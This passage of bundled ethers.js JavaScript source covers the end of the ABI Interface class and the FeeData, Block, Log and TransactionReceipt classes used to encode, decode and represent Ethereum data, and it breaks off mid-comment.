/*\n getEventTopic(fragment: EventFragment): string {\n //if (typeof(fragment) === \"string\") { fragment = this.getEvent(eventFragment); }\n return id(fragment.format());\n }\n */\n _decodeParams(params, data) {\n return this.#abiCoder.decode(params, data);\n }\n _encodeParams(params, values) {\n return this.#abiCoder.encode(params, values);\n }\n /**\n * Encodes a ``tx.data`` object for deploying the Contract with\n * the %%values%% as the constructor arguments.\n */\n encodeDeploy(values) {\n return this._encodeParams(this.deploy.inputs, values || []);\n }\n /**\n * Decodes the result %%data%% (e.g. from an ``eth_call``) for the\n * specified error (see [[getError]] for valid values for\n * %%key%%).\n *\n * Most developers should prefer the [[parseCallResult]] method instead,\n * which will automatically detect a ``CALL_EXCEPTION`` and throw the\n * corresponding error.\n */\n decodeErrorResult(fragment, data) {\n if (typeof (fragment) === \"string\") {\n const f = this.getError(fragment);\n assertArgument(f, \"unknown error\", \"fragment\", fragment);\n fragment = f;\n }\n assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match error ${fragment.name}.`, \"data\", data);\n return this._decodeParams(fragment.inputs, dataSlice(data, 4));\n }\n /**\n * Encodes the transaction revert data for a call result that\n * reverted from the the Contract with the sepcified %%error%%\n * (see [[getError]] for valid values for %%fragment%%) with the %%values%%.\n *\n * This is generally not used by most developers, unless trying to mock\n * a result from a Contract.\n */\n encodeErrorResult(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getError(fragment);\n assertArgument(f, \"unknown error\", \"fragment\", fragment);\n fragment = f;\n }\n return concat([\n fragment.selector,\n this._encodeParams(fragment.inputs, values || [])\n ]);\n }\n /**\n * Decodes the %%data%% from a transaction ``tx.data`` for\n * the function specified (see [[getFunction]] for valid values\n * for %%fragment%%).\n *\n * Most developers should prefer the [[parseTransaction]] method\n * instead, which will automatically detect the fragment.\n */\n decodeFunctionData(fragment, data) {\n if (typeof (fragment) === \"string\") {\n const f = this.getFunction(fragment);\n assertArgument(f, \"unknown function\", \"fragment\", fragment);\n fragment = f;\n }\n assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match function ${fragment.name}.`, \"data\", data);\n return this._decodeParams(fragment.inputs, dataSlice(data, 4));\n }\n /**\n * Encodes the ``tx.data`` for a transaction that calls the function\n * specified (see [[getFunction]] for valid values for %%fragment%%) with\n * the %%values%%.\n */\n encodeFunctionData(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getFunction(fragment);\n assertArgument(f, \"unknown function\", \"fragment\", fragment);\n fragment = f;\n }\n return concat([\n fragment.selector,\n this._encodeParams(fragment.inputs, values || [])\n ]);\n }\n /**\n * Decodes the result %%data%% (e.g. from an ``eth_call``) for the\n * specified function (see [[getFunction]] for valid values for\n * %%key%%).\n *\n * Most developers should prefer the [[parseCallResult]] method instead,\n * which will automatically detect a ``CALL_EXCEPTION`` and throw the\n * corresponding error.\n */\n decodeFunctionResult(fragment, data) {\n if (typeof (fragment) === \"string\") {\n const f = this.getFunction(fragment);\n assertArgument(f, \"unknown function\", \"fragment\", fragment);\n fragment = f;\n }\n let message = \"invalid length for result data\";\n const bytes = getBytesCopy(data);\n if ((bytes.length % 32) === 0) {\n try {\n return this.#abiCoder.decode(fragment.outputs, bytes);\n }\n catch (error) {\n message = \"could not decode result data\";\n }\n }\n // Call returned data with no error, but the data is junk\n assert(false, message, \"BAD_DATA\", {\n value: hexlify(bytes),\n info: { method: fragment.name, signature: fragment.format() }\n });\n }\n makeError(_data, tx) {\n const data = getBytes(_data, \"data\");\n const error = AbiCoder.getBuiltinCallException(\"call\", tx, data);\n // Not a built-in error; try finding a custom error\n const customPrefix = \"execution reverted (unknown custom error)\";\n if (error.message.startsWith(customPrefix)) {\n const selector = hexlify(data.slice(0, 4));\n const ef = this.getError(selector);\n if (ef) {\n try {\n const args = this.#abiCoder.decode(ef.inputs, data.slice(4));\n error.revert = {\n name: ef.name, signature: ef.format(), args\n };\n error.reason = error.revert.signature;\n error.message = `execution reverted: ${error.reason}`;\n }\n catch (e) {\n error.message = `execution reverted (coult not decode custom error)`;\n }\n }\n }\n // Add the invocation, if available\n const parsed = this.parseTransaction(tx);\n if (parsed) {\n error.invocation = {\n method: parsed.name,\n signature: parsed.signature,\n args: parsed.args\n };\n }\n return error;\n }\n /**\n * Encodes the result data (e.g. from an ``eth_call``) for the\n * specified function (see [[getFunction]] for valid values\n * for %%fragment%%) with %%values%%.\n *\n * This is generally not used by most developers, unless trying to mock\n * a result from a Contract.\n */\n encodeFunctionResult(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getFunction(fragment);\n assertArgument(f, \"unknown function\", \"fragment\", fragment);\n fragment = f;\n }\n return hexlify(this.#abiCoder.encode(fragment.outputs, values || []));\n }\n /*\n spelunk(inputs: Array, values: ReadonlyArray, processfunc: (type: string, value: any) => Promise): Promise> {\n const promises: Array> = [ ];\n const process = function(type: ParamType, value: any): any {\n if (type.baseType === \"array\") {\n return descend(type.child\n }\n if (type. === \"address\") {\n }\n };\n \n const descend = function (inputs: Array, values: ReadonlyArray) {\n if (inputs.length !== values.length) { throw new Error(\"length mismatch\"); }\n \n };\n \n const result: Array = [ ];\n values.forEach((value, index) => {\n if (value == null) {\n topics.push(null);\n } else if (param.baseType === \"array\" || param.baseType === \"tuple\") {\n logger.throwArgumentError(\"filtering with tuples or arrays not supported\", (\"contract.\" + param.name), value);\n } else if (Array.isArray(value)) {\n topics.push(value.map((value) => encodeTopic(param, value)));\n } else {\n topics.push(encodeTopic(param, value));\n }\n });\n }\n */\n // Create the filter for the event with search criteria (e.g. for eth_filterLog)\n encodeFilterTopics(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getEvent(fragment);\n assertArgument(f, \"unknown event\", \"eventFragment\", fragment);\n fragment = f;\n }\n assert(values.length <= fragment.inputs.length, `too many arguments for ${fragment.format()}`, \"UNEXPECTED_ARGUMENT\", { count: values.length, expectedCount: fragment.inputs.length });\n const topics = [];\n if (!fragment.anonymous) {\n topics.push(fragment.topicHash);\n }\n // @TODO: Use the coders for this; to properly support tuples, etc.\n const encodeTopic = (param, value) => {\n if (param.type === \"string\") {\n return id(value);\n }\n else if (param.type === \"bytes\") {\n return keccak256(hexlify(value));\n }\n if (param.type === \"bool\" && typeof (value) === \"boolean\") {\n value = (value ? \"0x01\" : \"0x00\");\n }\n else if (param.type.match(/^u?int/)) {\n value = toBeHex(value); // @TODO: Should this toTwos??\n }\n else if (param.type.match(/^bytes/)) {\n value = zeroPadBytes(value, 32);\n }\n else if (param.type === \"address\") {\n // Check addresses are valid\n this.#abiCoder.encode([\"address\"], [value]);\n }\n return zeroPadValue(hexlify(value), 32);\n };\n values.forEach((value, index) => {\n const param = fragment.inputs[index];\n if (!param.indexed) {\n assertArgument(value == null, \"cannot filter non-indexed parameters; must be null\", (\"contract.\" + param.name), value);\n return;\n }\n if (value == null) {\n topics.push(null);\n }\n else if (param.baseType === \"array\" || param.baseType === \"tuple\") {\n assertArgument(false, \"filtering with tuples or arrays not supported\", (\"contract.\" + param.name), value);\n }\n else if (Array.isArray(value)) {\n topics.push(value.map((value) => encodeTopic(param, value)));\n }\n else {\n topics.push(encodeTopic(param, value));\n }\n });\n // Trim off trailing nulls\n while (topics.length && topics[topics.length - 1] === null) {\n topics.pop();\n }\n return topics;\n }\n encodeEventLog(fragment, values) {\n if (typeof (fragment) === \"string\") {\n const f = this.getEvent(fragment);\n assertArgument(f, \"unknown event\", \"eventFragment\", fragment);\n fragment = f;\n }\n const topics = [];\n const dataTypes = [];\n const dataValues = [];\n if (!fragment.anonymous) {\n topics.push(fragment.topicHash);\n }\n assertArgument(values.length === fragment.inputs.length, \"event arguments/values mismatch\", \"values\", values);\n fragment.inputs.forEach((param, index) => {\n const value = values[index];\n if (param.indexed) {\n if (param.type === \"string\") {\n topics.push(id(value));\n }\n else if (param.type === \"bytes\") {\n topics.push(keccak256(value));\n }\n else if (param.baseType === \"tuple\" || param.baseType === \"array\") {\n // @TODO\n throw new Error(\"not implemented\");\n }\n else {\n topics.push(this.#abiCoder.encode([param.type], [value]));\n }\n }\n else {\n dataTypes.push(param);\n dataValues.push(value);\n }\n });\n return {\n data: this.#abiCoder.encode(dataTypes, dataValues),\n topics: topics\n };\n }\n // Decode a filter for the event and the search criteria\n decodeEventLog(fragment, data, topics) {\n if (typeof (fragment) === \"string\") {\n const f = this.getEvent(fragment);\n assertArgument(f, \"unknown event\", \"eventFragment\", fragment);\n fragment = f;\n }\n if (topics != null && !fragment.anonymous) {\n const eventTopic = fragment.topicHash;\n assertArgument(isHexString(topics[0], 32) && topics[0].toLowerCase() === eventTopic, \"fragment/topic mismatch\", \"topics[0]\", topics[0]);\n topics = topics.slice(1);\n }\n const indexed = [];\n const nonIndexed = [];\n const dynamic = [];\n fragment.inputs.forEach((param, index) => {\n if (param.indexed) {\n if (param.type === \"string\" || param.type === \"bytes\" || param.baseType === \"tuple\" || param.baseType === \"array\") {\n indexed.push(ParamType.from({ type: \"bytes32\", name: param.name }));\n dynamic.push(true);\n }\n else {\n indexed.push(param);\n dynamic.push(false);\n }\n }\n else {\n nonIndexed.push(param);\n dynamic.push(false);\n }\n });\n const resultIndexed = (topics != null) ? this.#abiCoder.decode(indexed, concat(topics)) : null;\n const resultNonIndexed = this.#abiCoder.decode(nonIndexed, data, true);\n //const result: (Array & { [ key: string ]: any }) = [ ];\n const values = [];\n const keys = [];\n let nonIndexedIndex = 0, indexedIndex = 0;\n fragment.inputs.forEach((param, index) => {\n let value = null;\n if (param.indexed) {\n if (resultIndexed == null) {\n value = new Indexed(null);\n }\n else if (dynamic[index]) {\n value = new Indexed(resultIndexed[indexedIndex++]);\n }\n else {\n try {\n value = resultIndexed[indexedIndex++];\n }\n catch (error) {\n value = error;\n }\n }\n }\n else {\n try {\n value = resultNonIndexed[nonIndexedIndex++];\n }\n catch (error) {\n value = error;\n }\n }\n values.push(value);\n keys.push(param.name || null);\n });\n return Result.fromItems(values, keys);\n }\n /**\n * Parses a transaction, finding the matching function and extracts\n * the parameter values along with other useful function details.\n *\n * If the matching function cannot be found, return null.\n */\n parseTransaction(tx) {\n const data = getBytes(tx.data, \"tx.data\");\n const value = getBigInt((tx.value != null) ? tx.value : 0, \"tx.value\");\n const fragment = this.getFunction(hexlify(data.slice(0, 4)));\n if (!fragment) {\n return null;\n }\n const args = this.#abiCoder.decode(fragment.inputs, data.slice(4));\n return new TransactionDescription(fragment, fragment.selector, args, value);\n }\n parseCallResult(data) {\n throw new Error(\"@TODO\");\n }\n /**\n * Parses a receipt log, finding the matching event and extracts\n * the parameter values along with other useful event details.\n *\n * If the matching event cannot be found, returns null.\n */\n parseLog(log) {\n const fragment = this.getEvent(log.topics[0]);\n if (!fragment || fragment.anonymous) {\n return null;\n }\n // @TODO: If anonymous, and the only method, and the input count matches, should we parse?\n // Probably not, because just because it is the only event in the ABI does\n // not mean we have the full ABI; maybe just a fragment?\n return new LogDescription(fragment, fragment.topicHash, this.decodeEventLog(fragment, log.data, log.topics));\n }\n /**\n * Parses a revert data, finding the matching error and extracts\n * the parameter values along with other useful error details.\n *\n * If the matching error cannot be found, returns null.\n */\n parseError(data) {\n const hexData = hexlify(data);\n const fragment = this.getError(dataSlice(hexData, 0, 4));\n if (!fragment) {\n return null;\n }\n const args = this.#abiCoder.decode(fragment.inputs, dataSlice(hexData, 4));\n return new ErrorDescription(fragment, fragment.selector, args);\n }\n /**\n * Creates a new [[Interface]] from the ABI %%value%%.\n *\n * The %%value%% may be provided as an existing [[Interface]] object,\n * a JSON-encoded ABI or any Human-Readable ABI format.\n */\n static from(value) {\n // Already an Interface, which is immutable\n if (value instanceof Interface) {\n return value;\n }\n // JSON\n if (typeof (value) === \"string\") {\n return new Interface(JSON.parse(value));\n }\n // An Interface; possibly from another v6 instance\n if (typeof (value.formatJson) === \"function\") {\n return new Interface(value.formatJson());\n }\n // A legacy Interface; from an older version\n if (typeof (value.format) === \"function\") {\n return new Interface(value.format(\"json\"));\n }\n // Array of fragments\n return new Interface(value);\n }\n}\n//# sourceMappingURL=interface.js.map","//import { resolveAddress } from \"@ethersproject/address\";\nimport { defineProperties, getBigInt, getNumber, hexlify, isBytesLike, resolveProperties, assert, assertArgument, isError, makeError } from \"../utils/index.js\";\nimport { accessListify } from \"../transaction/index.js\";\nconst BN_0 = BigInt(0);\n// -----------------------\nfunction getValue(value) {\n if (value == null) {\n return null;\n }\n return value;\n}\nfunction toJson(value) {\n if (value == null) {\n return null;\n }\n return value.toString();\n}\n// @TODO? implements Required\n/**\n * A **FeeData** wraps all the fee-related values associated with\n * the network.\n */\nexport class FeeData {\n /**\n * The gas price for legacy networks.\n */\n gasPrice;\n /**\n * The maximum fee to pay per gas.\n *\n * The base fee per gas is defined by the network and based on\n * congestion, increasing the cost during times of heavy load\n * and lowering when less busy.\n *\n * The actual fee per gas will be the base fee for the block\n * and the priority fee, up to the max fee per gas.\n *\n * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559))\n */\n maxFeePerGas;\n /**\n * The additional amout to pay per gas to encourage a validator\n * to include the transaction.\n *\n * The purpose of this is to compensate the validator for the\n * adjusted risk for including a given transaction.\n *\n * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559))\n */\n maxPriorityFeePerGas;\n /**\n * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and\n * %%maxPriorityFeePerGas%%.\n */\n constructor(gasPrice, maxFeePerGas, maxPriorityFeePerGas) {\n defineProperties(this, {\n gasPrice: getValue(gasPrice),\n maxFeePerGas: getValue(maxFeePerGas),\n maxPriorityFeePerGas: getValue(maxPriorityFeePerGas)\n });\n }\n /**\n * Returns a JSON-friendly value.\n */\n toJSON() {\n const { gasPrice, maxFeePerGas, maxPriorityFeePerGas } = this;\n return {\n _type: \"FeeData\",\n gasPrice: toJson(gasPrice),\n maxFeePerGas: toJson(maxFeePerGas),\n maxPriorityFeePerGas: toJson(maxPriorityFeePerGas),\n };\n }\n}\n;\n/**\n * Returns a copy of %%req%% with all properties coerced to their strict\n * types.\n */\nexport function copyRequest(req) {\n const result = {};\n // These could be addresses, ENS names or Addressables\n if (req.to) {\n result.to = req.to;\n }\n if (req.from) {\n result.from = req.from;\n }\n if (req.data) {\n result.data = hexlify(req.data);\n }\n const bigIntKeys = \"chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value\".split(/,/);\n for (const key of bigIntKeys) {\n if (!(key in req) || req[key] == null) {\n continue;\n }\n result[key] = getBigInt(req[key], `request.${key}`);\n }\n const numberKeys = \"type,nonce\".split(/,/);\n for (const key of numberKeys) {\n if (!(key in req) || req[key] == null) {\n continue;\n }\n result[key] = getNumber(req[key], `request.${key}`);\n }\n if (req.accessList) {\n result.accessList = accessListify(req.accessList);\n }\n if (req.authorizationList) {\n result.authorizationList = req.authorizationList.slice();\n }\n if (\"blockTag\" in req) {\n result.blockTag = req.blockTag;\n }\n if (\"enableCcipRead\" in req) {\n result.enableCcipRead = !!req.enableCcipRead;\n }\n if (\"customData\" in req) {\n result.customData = req.customData;\n }\n if (\"blobVersionedHashes\" in req && req.blobVersionedHashes) {\n result.blobVersionedHashes = req.blobVersionedHashes.slice();\n }\n if (\"kzg\" in req) {\n result.kzg = req.kzg;\n }\n if (\"blobs\" in req && req.blobs) {\n result.blobs = req.blobs.map((b) => {\n if (isBytesLike(b)) {\n return hexlify(b);\n }\n return Object.assign({}, b);\n });\n }\n return result;\n}\n/**\n * A **Block** represents the data associated with a full block on\n * Ethereum.\n */\nexport class Block {\n /**\n * The provider connected to the block used to fetch additional details\n * if necessary.\n */\n provider;\n /**\n * The block number, sometimes called the block height. This is a\n * sequential number that is one higher than the parent block.\n */\n number;\n /**\n * The block hash.\n *\n * This hash includes all properties, so can be safely used to identify\n * an exact set of block properties.\n */\n hash;\n /**\n * The timestamp for this block, which is the number of seconds since\n * epoch that this block was included.\n */\n timestamp;\n /**\n * The block hash of the parent block.\n */\n parentHash;\n /**\n * The hash tree root of the parent beacon block for the given\n * execution block. See [[link-eip-4788]].\n */\n parentBeaconBlockRoot;\n /**\n * The nonce.\n *\n * On legacy networks, this is the random number inserted which\n * permitted the difficulty target to be reached.\n */\n nonce;\n /**\n * The difficulty target.\n *\n * On legacy networks, this is the proof-of-work target required\n * for a block to meet the protocol rules to be included.\n *\n * On modern networks, this is a random number arrived at using\n * randao. @TODO: Find links?\n */\n difficulty;\n /**\n * The total gas limit for this block.\n */\n gasLimit;\n /**\n * The total gas used in this block.\n */\n gasUsed;\n /**\n * The root hash for the global state after applying changes\n * in this block.\n */\n stateRoot;\n /**\n * The hash of the transaction receipts trie.\n */\n receiptsRoot;\n /**\n * The total amount of blob gas consumed by the transactions\n * within the block. See [[link-eip-4844]].\n */\n blobGasUsed;\n /**\n * The running total of blob gas consumed in excess of the\n * target, prior to the block. See [[link-eip-4844]].\n */\n excessBlobGas;\n /**\n * The miner coinbase address, wihch receives any subsidies for\n * including this block.\n */\n miner;\n /**\n * The latest RANDAO mix of the post beacon state of\n * the previous block.\n */\n prevRandao;\n /**\n * Any extra data the validator wished to include.\n */\n extraData;\n /**\n * The base fee per gas that all transactions in this block were\n * charged.\n *\n * This adjusts after each block, depending on how congested the network\n * is.\n */\n baseFeePerGas;\n #transactions;\n /**\n * Create a new **Block** object.\n *\n * This should generally not be necessary as the unless implementing a\n * low-level library.\n */\n constructor(block, provider) {\n this.#transactions = block.transactions.map((tx) => {\n if (typeof (tx) !== \"string\") {\n return new TransactionResponse(tx, provider);\n }\n return tx;\n });\n defineProperties(this, {\n provider,\n hash: getValue(block.hash),\n number: block.number,\n timestamp: block.timestamp,\n parentHash: block.parentHash,\n parentBeaconBlockRoot: block.parentBeaconBlockRoot,\n nonce: block.nonce,\n difficulty: block.difficulty,\n gasLimit: block.gasLimit,\n gasUsed: block.gasUsed,\n blobGasUsed: block.blobGasUsed,\n excessBlobGas: block.excessBlobGas,\n miner: block.miner,\n prevRandao: getValue(block.prevRandao),\n extraData: block.extraData,\n baseFeePerGas: getValue(block.baseFeePerGas),\n stateRoot: block.stateRoot,\n receiptsRoot: block.receiptsRoot,\n });\n }\n /**\n * Returns the list of transaction hashes, in the order\n * they were executed within the block.\n */\n get transactions() {\n return this.#transactions.map((tx) => {\n if (typeof (tx) === \"string\") {\n return tx;\n }\n return tx.hash;\n });\n }\n /**\n * Returns the complete transactions, in the order they\n * were executed within the block.\n *\n * This is only available for blocks which prefetched\n * transactions, by passing ``true`` to %%prefetchTxs%%\n * into [[Provider-getBlock]].\n */\n get prefetchedTransactions() {\n const txs = this.#transactions.slice();\n // Doesn't matter...\n if (txs.length === 0) {\n return [];\n }\n // Make sure we prefetched the transactions\n assert(typeof (txs[0]) === \"object\", \"transactions were not prefetched with block request\", \"UNSUPPORTED_OPERATION\", {\n operation: \"transactionResponses()\"\n });\n return txs;\n }\n /**\n * Returns a JSON-friendly value.\n */\n toJSON() {\n const { baseFeePerGas, difficulty, extraData, gasLimit, gasUsed, hash, miner, prevRandao, nonce, number, parentHash, parentBeaconBlockRoot, stateRoot, receiptsRoot, timestamp, transactions } = this;\n return {\n _type: \"Block\",\n baseFeePerGas: toJson(baseFeePerGas),\n difficulty: toJson(difficulty),\n extraData,\n gasLimit: toJson(gasLimit),\n gasUsed: toJson(gasUsed),\n blobGasUsed: toJson(this.blobGasUsed),\n excessBlobGas: toJson(this.excessBlobGas),\n hash, miner, prevRandao, nonce, number, parentHash, timestamp,\n parentBeaconBlockRoot, stateRoot, receiptsRoot,\n transactions,\n };\n }\n [Symbol.iterator]() {\n let index = 0;\n const txs = this.transactions;\n return {\n next: () => {\n if (index < this.length) {\n return {\n value: txs[index++], done: false\n };\n }\n return { value: undefined, done: true };\n }\n };\n }\n /**\n * The number of transactions in this block.\n */\n get length() { return this.#transactions.length; }\n /**\n * The [[link-js-date]] this block was included at.\n */\n get date() {\n if (this.timestamp == null) {\n return null;\n }\n return new Date(this.timestamp * 1000);\n }\n /**\n * Get the transaction at %%indexe%% within this block.\n */\n async getTransaction(indexOrHash) {\n // Find the internal value by its index or hash\n let tx = undefined;\n if (typeof (indexOrHash) === \"number\") {\n tx = this.#transactions[indexOrHash];\n }\n else {\n const hash = indexOrHash.toLowerCase();\n for (const v of this.#transactions) {\n if (typeof (v) === \"string\") {\n if (v !== hash) {\n continue;\n }\n tx = v;\n break;\n }\n else {\n if (v.hash !== hash) {\n continue;\n }\n tx = v;\n break;\n }\n }\n }\n if (tx == null) {\n throw new Error(\"no such tx\");\n }\n if (typeof (tx) === \"string\") {\n return (await this.provider.getTransaction(tx));\n }\n else {\n return tx;\n }\n }\n /**\n * If a **Block** was fetched with a request to include the transactions\n * this will allow synchronous access to those transactions.\n *\n * If the transactions were not prefetched, this will throw.\n */\n getPrefetchedTransaction(indexOrHash) {\n const txs = this.prefetchedTransactions;\n if (typeof (indexOrHash) === \"number\") {\n return txs[indexOrHash];\n }\n indexOrHash = indexOrHash.toLowerCase();\n for (const tx of txs) {\n if (tx.hash === indexOrHash) {\n return tx;\n }\n }\n assertArgument(false, \"no matching transaction\", \"indexOrHash\", indexOrHash);\n }\n /**\n * Returns true if this block been mined. This provides a type guard\n * for all properties on a [[MinedBlock]].\n */\n isMined() { return !!this.hash; }\n /**\n * Returns true if this block is an [[link-eip-2930]] block.\n */\n isLondon() {\n return !!this.baseFeePerGas;\n }\n /**\n * @_ignore:\n */\n orphanedEvent() {\n if (!this.isMined()) {\n throw new Error(\"\");\n }\n return createOrphanedBlockFilter(this);\n }\n}\n//////////////////////\n// Log\n/**\n * A **Log** in Ethereum represents an event that has been included in a\n * transaction using the ``LOG*`` opcodes, which are most commonly used by\n * Solidity's emit for announcing events.\n */\nexport class Log {\n /**\n * The provider connected to the log used to fetch additional details\n * if necessary.\n */\n provider;\n /**\n * The transaction hash of the transaction this log occurred in. Use the\n * [[Log-getTransaction]] to get the [[TransactionResponse]].\n */\n transactionHash;\n /**\n * The block hash of the block this log occurred in. Use the\n * [[Log-getBlock]] to get the [[Block]].\n */\n blockHash;\n /**\n * The block number of the block this log occurred in. It is preferred\n * to use the [[Block-hash]] when fetching the related [[Block]],\n * since in the case of an orphaned block, the block at that height may\n * have changed.\n */\n blockNumber;\n /**\n * If the **Log** represents a block that was removed due to an orphaned\n * block, this will be true.\n *\n * This can only happen within an orphan event listener.\n */\n removed;\n /**\n * The address of the contract that emitted this log.\n */\n address;\n /**\n * The data included in this log when it was emitted.\n */\n data;\n /**\n * The indexed topics included in this log when it was emitted.\n *\n * All topics are included in the bloom filters, so they can be\n * efficiently filtered using the [[Provider-getLogs]] method.\n */\n topics;\n /**\n * The index within the block this log occurred at. This is generally\n * not useful to developers, but can be used with the various roots\n * to proof inclusion within a block.\n */\n index;\n /**\n * The index within the transaction of this log.\n */\n transactionIndex;\n /**\n * @_ignore:\n */\n constructor(log, provider) {\n this.provider = provider;\n const topics = Object.freeze(log.topics.slice());\n defineProperties(this, {\n transactionHash: log.transactionHash,\n blockHash: log.blockHash,\n blockNumber: log.blockNumber,\n removed: log.removed,\n address: log.address,\n data: log.data,\n topics,\n index: log.index,\n transactionIndex: log.transactionIndex,\n });\n }\n /**\n * Returns a JSON-compatible object.\n */\n toJSON() {\n const { address, blockHash, blockNumber, data, index, removed, topics, transactionHash, transactionIndex } = this;\n return {\n _type: \"log\",\n address, blockHash, blockNumber, data, index,\n removed, topics, transactionHash, transactionIndex\n };\n }\n /**\n * Returns the block that this log occurred in.\n */\n async getBlock() {\n const block = await this.provider.getBlock(this.blockHash);\n assert(!!block, \"failed to find transaction\", \"UNKNOWN_ERROR\", {});\n return block;\n }\n /**\n * Returns the transaction that this log occurred in.\n */\n async getTransaction() {\n const tx = await this.provider.getTransaction(this.transactionHash);\n assert(!!tx, \"failed to find transaction\", \"UNKNOWN_ERROR\", {});\n return tx;\n }\n /**\n * Returns the transaction receipt fot the transaction that this\n * log occurred in.\n */\n async getTransactionReceipt() {\n const receipt = await this.provider.getTransactionReceipt(this.transactionHash);\n assert(!!receipt, \"failed to find transaction receipt\", \"UNKNOWN_ERROR\", {});\n return receipt;\n }\n /**\n * @_ignore:\n */\n removedEvent() {\n return createRemovedLogFilter(this);\n }\n}\n//////////////////////\n// Transaction Receipt\n/*\nexport interface LegacyTransactionReceipt {\n byzantium: false;\n status: null;\n root: string;\n}\n\nexport interface ByzantiumTransactionReceipt {\n byzantium: true;\n status: number;\n root: null;\n}\n*/\n/**\n * A **TransactionReceipt** includes additional information about a\n * transaction that is only available after it has been mined.\n */\nexport class TransactionReceipt {\n /**\n * The provider connected to the log used to fetch additional details\n * if necessary.\n */\n provider;\n /**\n * The address the transaction was sent to.\n */\n to;\n /**\n * The sender of the transaction.\n */\n from;\n /**\n * The address of the contract if the transaction was directly\n * responsible for deploying one.\n *\n * This is non-null **only** if the ``to`` is empty and the ``data``\n * was successfully executed as initcode.\n */\n contractAddress;\n /**\n * The transaction hash.\n */\n hash;\n /**\n * The index of this transaction within the block transactions.\n */\n index;\n /**\n * The block hash of the [[Block]] this transaction was included in.\n */\n blockHash;\n /**\n * The block number of the [[Block]] this transaction was included in.\n */\n blockNumber;\n /**\n * The bloom filter bytes that represent all logs that occurred within\n * this transaction. This is generally not useful for most developers,\n * but can be used to validate the included logs.\n */\n logsBloom;\n /**\n * The actual amount of gas used by this transaction.\n *\n * When creating a transaction, the amount of gas that will be used can\n * only be approximated, but the sender must pay the gas fee for the\n * entire gas limit. After the transaction, the difference is refunded.\n */\n gasUsed;\n /**\n * The gas used for BLObs. See [[link-eip-4844]].\n */\n blobGasUsed;\n /**\n * The amount of gas used by all transactions within the block for this\n * and all transactions with a lower ``index``.\n *\n * This is generally not useful for developers but can be used to\n * validate certain aspects of execution.\n */\n cumulativeGasUsed;\n /**\n * The actual gas price used during execution.\n *\n * Due to the complexity of [[link-eip-1559]] this value can only\n * be caluclated after the transaction has been mined, snce the base\n * fee is protocol-enforced.\n */\n gasPrice;\n /**\n * The price paid per BLOB in gas. See [[link-eip-4844]].\n */\n blobGasPrice;\n /**\n * The [[link-eip-2718]] transaction type.\n */\n type;\n //readonly byzantium!: boolean;\n /**\n * The status of this transaction, indicating success (i.e. ``1``) or\n * a revert (i.e. ``0``).\n *\n * This is available in post-byzantium blocks, but some backends may\n * backfill this value.\n */\n status;\n /**\n * The root hash of this transaction.\n *\n * This is no present and was only included in pre-byzantium blocks, but\n * could be used to validate certain parts of the receipt.\n */\n root;\n #logs;\n /**\n * @_ignore:\n */\n constructor(tx, provider) {\n this.#logs = Object.freeze(tx.logs.map((log) => {\n return new Log(log, provider);\n }));\n let gasPrice = BN_0;\n if (tx.effectiveGasPrice != null) {\n gasPrice = tx.effectiveGasPrice;\n }\n else if (tx.gasPrice != null) {\n gasPrice = tx.gasPrice;\n }\n defineProperties(this, {\n provider,\n to: tx.to,\n from: tx.from,\n contractAddress: tx.contractAddress,\n hash: tx.hash,\n index: tx.index,\n blockHash: tx.blockHash,\n blockNumber: tx.blockNumber,\n logsBloom: tx.logsBloom,\n gasUsed: tx.gasUsed,\n cumulativeGasUsed: tx.cumulativeGasUsed,\n blobGasUsed: tx.blobGasUsed,\n gasPrice,\n blobGasPrice: tx.blobGasPrice,\n type: tx.type,\n //byzantium: tx.byzantium,\n status: tx.status,\n root: tx.root\n });\n }\n /**\n * The logs for this transaction.\n */\n get logs() { return this.#logs; }\n /**\n * Returns a JSON-compatible representation.\n */\n toJSON() {\n const { to, from, contractAddress, hash, index, blockHash, blockNumber, logsBloom, logs, //byzantium, \n status, root } = this;\n return {\n _type: \"TransactionReceipt\",\n blockHash, blockNumber,\n //byzantium, \n contractAddress,\n cumulativeGasUsed: toJson(this.cumulativeGasUsed),\n from,\n gasPrice: toJson(this.gasPrice),\n blobGasUsed: toJson(this.blobGasUsed),\n blobGasPrice: toJson(this.blobGasPrice),\n gasUsed: toJson(this.gasUsed),\n hash, index, logs, logsBloom, root, status, to\n };\n }\n /**\n * @_ignore:\n */\n get length() { return this.logs.length; }\n [Symbol.iterator]() {\n let index = 0;\n return {\n next: () => {\n if (index < this.length) {\n return { value: this.logs[index++], done: false };\n }\n return { value: undefined, done: true };\n }\n };\n }\n /**\n * The total fee for this transaction, in wei.\n */\n get fee() {\n return this.gasUsed * this.gasPrice;\n }\n /**\n * Resolves to the block this transaction occurred in.\n */\n async getBlock() {\n const block = await this.provider.getBlock(this.blockHash);\n if (block == null) {\n throw new Error(\"TODO\");\n }\n return block;\n }\n /**\n * Resolves to the transaction this transaction occurred in.\n */\n async getTransaction() {\n const tx = await this.provider.getTransaction(this.hash);\n if (tx == null) {\n throw new Error(\"TODO\");\n }\n return tx;\n }\n /**\n * Resolves to the return value of the execution of this transaction.\n *\n * Support for this feature is limited, as it requires an archive node\n * with the ``debug_`` or ``trace_`` API enabled.\n */\n async getResult() {\n return (await this.provider.getTransactionResult(this.hash));\n }\n /**\n * Resolves to the number of confirmations this transaction has.\n */\n async confirmations() {\n return (await this.provider.getBlockNumber()) - this.blockNumber + 1;\n }\n /**\n * @_ignore:\n */\n removedEvent() {\n return createRemovedTransactionFilter(this);\n }\n /**\n * @_ignore:\n */\n reorderedEvent(other) {\n assert(!other || other.isMined(), \"unmined 'other' transction cannot be orphaned\", \"UNSUPPORTED_OPERATION\", { operation: \"reorderedEvent(other)\" });\n return createReorderedTransactionFilter(this, other);\n }\n}\n/**\n * A **TransactionResponse** includes all properties about a transaction\n * that was sent to the network, which may or may not be included in a\n * block.\n *\n * The [[TransactionResponse-isMined]] can be used to check if the\n * transaction has been mined as well as type guard that the otherwise\n * possibly ``null`` properties are defined.\n */\nexport class TransactionResponse {\n /**\n * The provider this is connected to, which will 